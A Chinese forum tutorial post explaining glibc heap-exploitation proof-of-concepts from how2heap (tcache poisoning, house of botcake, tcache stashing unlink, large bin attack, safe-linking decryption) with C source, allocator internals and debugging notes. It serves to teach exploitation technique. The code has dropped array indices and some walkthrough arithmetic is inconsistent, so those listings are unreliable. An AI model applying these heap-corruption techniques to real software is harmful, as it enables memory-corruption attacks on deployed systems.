how2heap全集及例题详细解析(5~6部分)
# 第五部分前言
第五部分开始使用 `ubuntu:18.04` 编译。`Tcache` 基础请看 (https://bbs.kanxue.com/thread-278105.htm)。
## fastbin_reverse_into_tcache
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);
// Allocate 14 times so that we can free later.
char* ptrs;
size_t i;
for (i = 0; i < 14; i++) {
ptrs = malloc(allocsize);
}
printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);
// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs);
}
char* victim = ptrs;
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);
printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);
// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs);
}
// Create an array on the stack and initialize it with garbage.
size_t stack_var;
memset(stack_var, 0xcd, sizeof(stack_var));
printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var,
(char*)stack_var
);
printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var;
//------------------------------------
printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);
// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs = malloc(allocsize);
}
printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var, (char*)stack_var);
}
printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);
malloc(allocsize);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var, (char*)stack_var);
}
char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);
assert(q == (char *)&stack_var);
return 0;
}
```
### 调试
首先申请 `14` 个 `chunk` ,先后将 `tcache` 和 `fastbinY` 填满。其中 `victim` 指向第 `8` 个 `chunk` 也就是 `fastbinY` 的最后一个 `chunk_ptrs`。
将 `victim(ptrs_fd)` 指向 `stack_var` 的位置,然后将 `tcache` 清空。
这次 `malloc` 将会先从 `fastbin` 头部取出一个 `chunk`,然后把 `fastbin` 清空,放入`tcache`中,因为 `fastbin` 取出时从头开始,`tcache` 又是 `FIFO` 结构, 所以放入 `tcache` 是倒序的,把 `stack_var` 也算做了一个 `chunk`,所以是满 `7` 个。
此时再去申请一个 `0x50` 大小的 `chunk` 将会把 `stack_var` 取出来,此时 `q == stack_var` 。
## house_of_botcake
`libc-2.29` 新增加`double free`检查,方法是在 `tcache_entry` 结构体中新增加标志位 `key` 来检查 `chunk` 是否在 `tcache bin` 中。当 `free` 掉一个堆块进入 `tcache` 时,假如堆块的 `bk` 位存放的`key == tcache_key`, 就会遍历这个大小的 `Tcache` ,假如发现同地址的堆块,则触发 `double Free` 报错。因为 `chunk` 的 `key` 保存在 `bk` 位置,只需将其修改即可绕过 `double free` 检查。而 `house_of_botcake` 是另一种方法。
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");
// prepare the target
intptr_t stack_var;
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x;
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b = (long)stack_var;
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
return 0;
}
```
### 调试
首先申请`9`个 `non-fast_chunk` 和一个 `obstruct-chunk` ,将 `tcache`填满,剩余两个放入 `unsorted_bin`,因为 `a` 与 `prev`相邻,所以会被整合在一起。
从 `tcache` 头部取出一个 `chunk` ,然后再次 `free(a)`,此时 `chunk_a` 同时出现在了 `unsorted_bin` 和 `tcache` 中。
此时申请 `0x120` 大小的 `chunk` 将 `unsorted_bin` 中包含 `chunk_a_fd` 的 `chunk` 申请出来,我们就可以修改 `tcache` 中 `chunk_a` 的下一个链接进来的 `chunk` 为我们伪造的 `chunk`,在申请两次用户区为 `0x100` 大小的 `chunk` 就可以将我们伪造的 `chunk` 申请出来。
## tcache_house_of_spirit
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates the house of spirit attack on tcache.\n");
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
printf("Ok. Let's start with the example!.\n\n");
printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks; //fake chunk region
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks);
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks = 0x40; // this is the size
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks;
printf("Freeing the overwritten pointer.\n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks, &fake_chunks);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);
assert((long)b == (long)&fake_chunks);
}
```
### 调试
这种利用能够方法很简单,只需要将 `fake_chunks_size=0x40`,然后 `free(fake_chunk)` 即可将其放入到 `tcache` 中,再去申请 `0x30` 大小的 `chunk` 即可将其申请出来。
## tcache_poisoning
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing the buffers...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");
assert((long)&stack_var == (long)c);
return 0;
}
```
### 调试
申请同样大小的 `a,b` 两个 `chunk`,并将其放在 `tcache` 中。然后将后进入的 `chunk_b_fd` 改为 `stack_var_fd`,这样就能将其链接进 `tcache`,`tcache` 的数量为 `2`,可以申请两个 `chunk` 出来。 在 `2.29` 以后,如果 `tcache` 的数量为 `0`,就算 `tcache` 中有 `free_chunk` 也不会将其取出来,所以我们确保 `tcache` 的数量为 `2`,这样就能取出两个 `chunk`。
## tcache_stashing_unlink_attack
利用 `calloc` 可以越过 `tcache` 取 `chunk` 的特点结合 `house of lore` 进行的攻击手段,可以向任意地址写入任意值,也可以申请任意地址。
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
unsigned long stack_var = {0};
unsigned long *chunk_lis = {0};
unsigned long *target;
setbuf(stdout, NULL);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var will be a libc addr after attack.\n\n");
stack_var = (unsigned long)(&stack_var);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var);
printf("Also, let's see the initial value of stack_var:%p\n\n",(void*)stack_var);
printf("Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis = (unsigned long*)malloc(0x90);
}
//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){
free(chunk_lis);
}
printf("As you can see, chunk1 & are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin
free(chunk_lis);
//now they are put into unsorted bin
free(chunk_lis);
free(chunk_lis);
//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//change victim->bck
/*VULNERABILITY*/
chunk_lis = (unsigned long)stack_var;
/*VULNERABILITY*/
//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var,(void*)stack_var);
//malloc and return our fake chunk on stack
target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var);
return 0;
}
```
### 基础知识
```cpp
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache.*/
//遍历整个smallbin,获取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over.*/
//判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
//验证取出的Chunk是否为Bin本身(Smallbin是否已空)
while ( tcache->counts < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
```
可以看到,这种攻击手段并没有经过 `house of lore` 的需要经过的验证,即没有这一个要求 `bck->fd == victim `。
### 调试
目标地址的 `stack_var_bk == stack_var_fd`,为了后续将 `fake_chunk` 的 `bk` 指针指向一块可写的内存,绕过 `glibc` 在摘链表时候的检查,样例中我们在 `small_bin` 中摘取两个 `chunk` 放入 `tcache` ,`tcache`便已经满了,不会再去索取 `fake_chunk_bk`。
申请 `9` 个 `0x90` 大小的 `chunk`,将 `3~8` 这 `6` 个 `chunk` 放进 `tcache` 中, 然后依次释放 `1,0,2` 三个 `chunk`,`1` 将会进入 `tcache` 中,`0,2` 进入 `unsorted`,因为不相邻,所以不会触发合并。
`malloc(0xa0)` 将会触发整理机制,将 `unsorted_bin` 中的 `chunk` 放进 `small_bin`。
接下来在 `tcache` 中腾出两个位置,为后续放入 `small_bin chunk` 做准备。
将 `small_bin` 中倒数第二个 `chunk_bk` 指向 `stack_var`,为后续将 `chunk` 放入 `tcache` 中做索引。
利用 `calloc(1,0x90)` 将 `small_bin` 中最后一个 `chunk` 拿出来,然后触发整理机制,将 `small_bin` 中剩余的 `chunk` 倒序取出放入 `tcache`,也就是按 `bk` 去索引。
此时再次申请将会把目标地址的`fake_chunk`申请出来。
# 第六部分前言
## large_bin_attack (glibc > 2.29)
本次使用 `ubuntu:20.04` 。
### 源码
```cpp
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk (%p).\n",p2-2);
printf("This chunk should be smaller than and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than to insert into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin (%p),\n",p1-2);
printf(" and one chunk in unsorted bin (%p)\n",p2-2);
printf("\n");
p1 = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than (%p) to place (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf("the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting (%p) into largebin, (%p)->bk_nextsize->fd_nextsize is overwritten to address of (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of (%p), (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
```
### 基础知识
`glibc-2.30` 新增了两道检查:
```cpp
// largebin_chunk->bk_nextsize->fd_nextszie != largebin_chunk
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
// largebin_chunk->bk->fd != largebin_chunk
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
```
利用代码:
```cpp
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
```
### 调试
布置堆结构如上,图中从上到下`chunk`分别为 `p1, g1, p2, g2`。
将 `chunk_p1` 放进 `largebin`,将 `chunk_p2` 放进 `unsorted_bin`,`(largebin)p1_size > (unsorted)p2_size`。
修改`p1_bk_nextsize = target-0x20`,也就是`fake_chunk_fd_nextsize`。
然后申请 `0x438` 大小的 `chunk`,触发整理机制将 `chunk_p2` 链接进 `largebin`,因为 `p2_size < (largebin_least)p1`,会触发如下代码。
```cpp
// victim:p2, fwd:largebin表头, bck:largebin_least_chunk(p1)
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
```
1.`p2->fd_nextsize = p1; `
2. `p2->bk_nextsize = (target-0x20)p1->bk_nextsize;`
3. `(target-0x20)p1->bk_nextsize = target = p2;`
第三步时将 `(target)fake_chunk_fd_nextsize` 改为了 `p2_prev`。
!(image-20231015204706099.png)
最后目标地址被成功修改为一个大数。写大数的行为,可以用来修改`global_max_fast`。
## decrypt_safe_linking(glibc > 2.31)
本次使用 `ubuntu:22.04` 进行编译。
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
long decrypt(long cipher)
{
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
puts("because of the 12bit sliding.");
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
long key = 0;
long plain;
for(int i=1; i<6; i++) {
int bits = 64-12*i;
if(bits < 0) bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain:%#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}
int main()
{
/*
* This technique demonstrates how to recover the original content from a poisoned
* value because of the safe-linking mechanism.
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
* and the key (ASLR slide) is the same to the pointer's leading bits.
* As a result, as long as the chunk where the pointer is stored is at the same page
* of the pointer itself, the value of the pointer can be fully recovered.
* Otherwise, we can also recover the pointer with the page-offset between the storer
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
* For demonstrations of other more general cases, plz refer to
* https://github.com/n132/Dec-Safe-Linking
*/
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// step 1: allocate chunks
long *a = malloc(0x20);
long *b = malloc(0x20);
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
malloc(0x10);
puts("And then create a padding chunk to prevent consolidation.");
// step 2: free chunks
puts("Now free chunk a and then free chunk b.");
free(a);
free(b);
printf("Now the freelist is: [%p -> %p]\n", b, a);
printf("Due to safe-linking, the value actually stored at b is: %#lx\n", b);
// step 3: recover the values
puts("Now decrypt the poisoned value");
long plaintext = decrypt(b);
printf("value: %p\n", a);
printf("recovered value: %#lx\n", plaintext);
assert(plaintext == (long)a);
}
```
### 基础知识
对 `tcache_next(fd)` 新增检查:
```cpp
// 加密
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
// 解密
#define REVEAL_PTR(ptr)PROTECT_PTR (&ptr, ptr)
/*
* 原理: A:fd;B:(pos>>12);C:(ptr); A=B^C; C=A^B;
*/
```
`P` 表示将保存在空闲块的 `fd` 字段中的指针值。`L` 表示 `fd` 字段本身的地址。`L>>12`是 `L` 的右移值,用于对 `P` 进行异或运算,从而产生一个编码指针`P'`。`Safe Linking` 将这个`P'`值存储在 `fd` 字段中。
`bypass safe-linking`机制需要用到 `uaf`或者 `double free` 之类的漏洞, 同时释放 `tcache`到一个空闲 `tacahe bin`中, 此时由于`tcache bin` 中没有空闲`chunk`, `tcache->entry=0`,若存在 `uaf` 或者 `double free`,可以泄露出 `leak_addr= (&tcache_chunk->fd)>>12` 位置, 则 `heap_base=leak_addr<<12`。`double free` 需要将 `tcache_chunk_bk` 改为 `0`,绕过检查。对于 `2.32`及以后的 `glibc` 版本的 `tcache_poisoning` 需要将 `target` 地址进行加密。
### 调试
申请`a,b`两个 `tcache_chunk`,最后一个 `chunk_0x10` 用于隔离,下面解析 `b_fd`。
* 解密脚本:
```python
def decrypt(cipher):
key=0
plain=0
for i in range(1,6):
bits= 64-12*(i)
if(bits<0):
bits=0
plain = ((cipher ^ key) >> bits) << bits
key = plain >> 12
print("round %d:\n"%(i))
print("key: %#016lx\n"%key)
print("plain:%#016lx\n"%plain)
print("cipher: %#016lx\n\n"%cipher)
```
* 原理:
前置:
`P:0x0000_555_555_55b_2a0; L:0x0000_555_555_55b_2d0; L>>12:0x0000_000_555_555_55b; p':0x0000_555_000_00e_7fb`
`(0x55555555b2d0 >> 12) = 0x55555555B; 0x55555555b2a0 ^ 0x55555555B = 0x55500000E7FB;`
步骤:
`P ^ (L >> 12);`。 此时 `L` 高 `12` 位为 `0`,而 `P` 高 `12` 位为 `0x555`,异或时将保留 `0x0000_555`,而异或操作又是可逆的,所以用保留的 `0x0000_555_000_000_000` 和 低位 `0x0000_000_555_000_000` 取异或即可得到低三位的真实地址,以此类推有了以下步骤。
1.
`bits = 52; `
`key = 0; `
`plain = ((0x0000_555_000_00e_7fb ^ 0) >> 52) << 52 = 0x000_000_000_000_0000; `
`key = plain >> 12 = 0;`
2.
`bits = 40; `
`key = 0; `
`plain = ((0x0000_555_000_00e_7fb ^ 0) >> 40) << 40 = 0x000_055_000_000_0000; `
`key = plain >> 12 = 0x000_000_055_000_000_0`
3.
`bits = 28; `
`key = 0x000_000_055_000_000_0; `
`plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_000_000_0) >> 28) << 28 = 0x000_055_555_000_0000`
`key = plain >> 12 = 0x000_000_055_555_0000;`
4.
`bits = 16; `
`key = 0x000_000_055_555_0000; `
`plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_0000) >> 28) << 28 = 0x000_055_555_555_0000`
`key = plain >> 12 = 0x000_000_055_555_5550;`
5.
`bits = 4; `
`key = 0x000_000_055_555_5550; `
`plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_5550) >> 28) << 28 = 0x000_055_555_555_b2a0`
`key = plain >> 12 = 0x000_055_555_555_b;`
下班学习时间,围观一下 感谢你的分享 感谢楼主
页:
[1]